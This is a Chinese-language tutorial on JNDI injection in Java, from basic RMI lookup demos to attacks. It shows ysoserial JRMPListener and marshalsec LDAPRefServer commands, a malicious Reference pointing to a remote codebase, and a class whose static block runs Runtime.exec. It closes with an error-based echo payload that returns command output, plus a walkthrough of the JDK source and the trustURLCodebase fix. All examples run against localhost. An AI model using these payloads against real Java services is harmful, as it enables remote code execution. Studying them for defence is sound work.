JDNI
JNDI(Java Naming and Directory Interface)
是Java提供的Java 命名和目录接口
。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)
,JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作。
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
JNDI使用案例
JNDI代码格式如下
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
当jndiName可控时就造成了JNDI注入
RMI格式:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
JNDI获取远程对象的Demo:
Client
Hello
package Client;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Hello extends Remote {
public String sayhello(String name) throws RemoteException;
}
JNDI_Client
package Client;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDI_Client {
public static void main(String[] args) throws NamingException, RemoteException, NamingException {
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:8080/helloimpl");
System.out.println(hello.sayhello("test"));
}
}
Server
HelloImpl
package Server;
import Client.Hello;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
}
public String sayhello(String name) throws RemoteException {
return "[Hello "+ name + "]";
}
}
JNDI_Server
package Server;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;
import java.util.concurrent.CountDownLatch;
public class JNDI_Server {
public static void main(String[] args) throws RemoteException, NamingException, InterruptedException {
LocateRegistry.createRegistry(8080);
HelloImpl hello = new HelloImpl();
Properties properties = new Properties();
properties.setProperty(Context.INITIAL_CONTEXT_FACTORY , "com.sun.jndi.rmi.registry.RegistryContextFactory");
properties.setProperty(Context.PROVIDER_URL,"rmi://localhost:8080/");
InitialContext ctx = new InitialContext(properties);
ctx.bind("helloimpl",hello);
System.out.println("服务端创建完毕,等待调用");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
先运行JNDI_Server,将对象绑定,并指定rmi服务端的访问地址以及在JNDI中使用的RMI工厂类,这里有一张RMI工厂类的处理流程图。
之后再运行Client,即可看到返回结果:
JNDI攻击方式
利用lookup攻击客户端
因为JNDI在正常调用lookup的时候,最后还是用RMI的方式获取远程对象,那么我们就能通过创建恶意JRMPListener来返回恶意序列化数据让客户端反序列化,此时即可触发漏洞,当然这需要客户端存在对应的gadget。
首先本地先起一个JRMPListener:
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'open /System/Applications/Calculator.app'
之后客户端尝试lookup:
package Client;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:1099/helloimpl");
System.out.println(hello.sayhello("test"));
}
}
JDNI+RMI
执行lookup方法时,会对Reference类进行特殊处理,Demo如下
Server
package Server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class JNDI_Server {
public static void main(String[] args) throws RemoteException, NamingException, InterruptedException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8080);
Reference refObj = new Reference("refClassName", "badClassName", "http://127.0.0.1:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("helloimpl", refObjWrapper);
System.out.println("服务端创建完毕,等待调用");
CountDownLatch latch = new CountDownLatch(1);
latch.await();
}
}
Client
package Client;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:8080/helloimpl");
System.out.println(hello.sayhello("test"));
}
}
当hello去获取远程对象时,发现获取到的是一个ReferenceWrapper,便会去我们先前指定好的url,也就是Reference的第三个参数去找类,第二个参数是类名
badClassName.class
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}
当我们尝试加载他时,就会触发静态代码块中的恶意代码,导致RCE:
流程分析
在客户端的lookup处下断点开始调试
一直跟进lookup方法到达decodeObject方法处,因为对ReferenceWrapper对象相关的处理也是在这里边写好的
跟进
这里会判断是否实现了RemoteReference接口,如果是则调用getReference方法
这里调用了super.ref.invoke,返回的类包含我们之前设置的Reference的信息
接着进入到getObjectInstance方法中,因为这个版本较低,所以没有出现trustURLCodebase,在后面未修复的版本中会有一个对于trustURLCodebase的判断,如果为true就进入getObjectInstance方法,如果为false那么就会跑出异常,但因为默认是true,所以也没有影响。
直接给出getObjectInstance方法重点代码
这里的getFactoryClassName得到的是设置好的badClassName
接着进入getObjectFactoryFromReference
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
首先会使用loadclass从本地的classpath加载这个类,如果不存在则通过codebase从远程加载,本地当然不存在,所以到达远程加载部分
public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
这里通过URLClassLoader来加载我们预先设置好的远程类地址,跟进loadClass
Class loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}
这里通过Class.forName去加载类,所以也会调用其static代码块中的代码,我们只需要在里边写我们的恶意代码即可完成执行
修复方式
JDK的修复方式就是将trustURLCodebase默认值设置为false,此时我们则无法通过下面这行代码的检查,即无法进入到加载环节中:
var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase
在这里如果trustURLCodebase为false,则会直接抛出异常
JNDI+LDAP
LDAP协议同样是可以用ReferenceWrapper对象进行包装的,所以实际上是和RMI差不多的流程
先写利用方式,本地起一个LDAP Server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#badClassName 1099
Client
package Client;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.RemoteException;
import java.util.Properties;
public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
Properties env = new Properties();
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://localhost:1099/helloimpl");
}
}
同样把badClassName.class放上去,当远程加载badClassName时会触发static代码块中的方法,从而导致RCE:
流程分析
其实和RMI差不多,这里做简要分析,只需要关注LdapCtx#decodeObject即可:
接着会进到DirectoryManager.getObjectInstance中:
后面和RMI一样
修复方式
在LoadClass处用了trustURLCodebase
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
JNDI回显攻击
这里的回显是基于报错来回显,代码如下
import java.io.*;
public class badClassName {
static{
try
{
do_exec("whoami");
}catch(Exception e){
e.printStackTrace();
}
}
public static byte[] readBytes(InputStream in) throws IOException {
BufferedInputStream bufin = new BufferedInputStream(in);
int buffSize = 1024;
ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
byte[] temp = new byte[buffSize];
int size = 0;
while ((size = bufin.read(temp)) != -1) {
out.write(temp, 0, size);
}
bufin.close();
byte[] content = out.toByteArray();
return content;
}
public static void do_exec(String cmd) throws Exception {
final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();
if (exitValue == 0) {
throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
} else {
throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
}
}
}
运行客户端即可触发回显RCE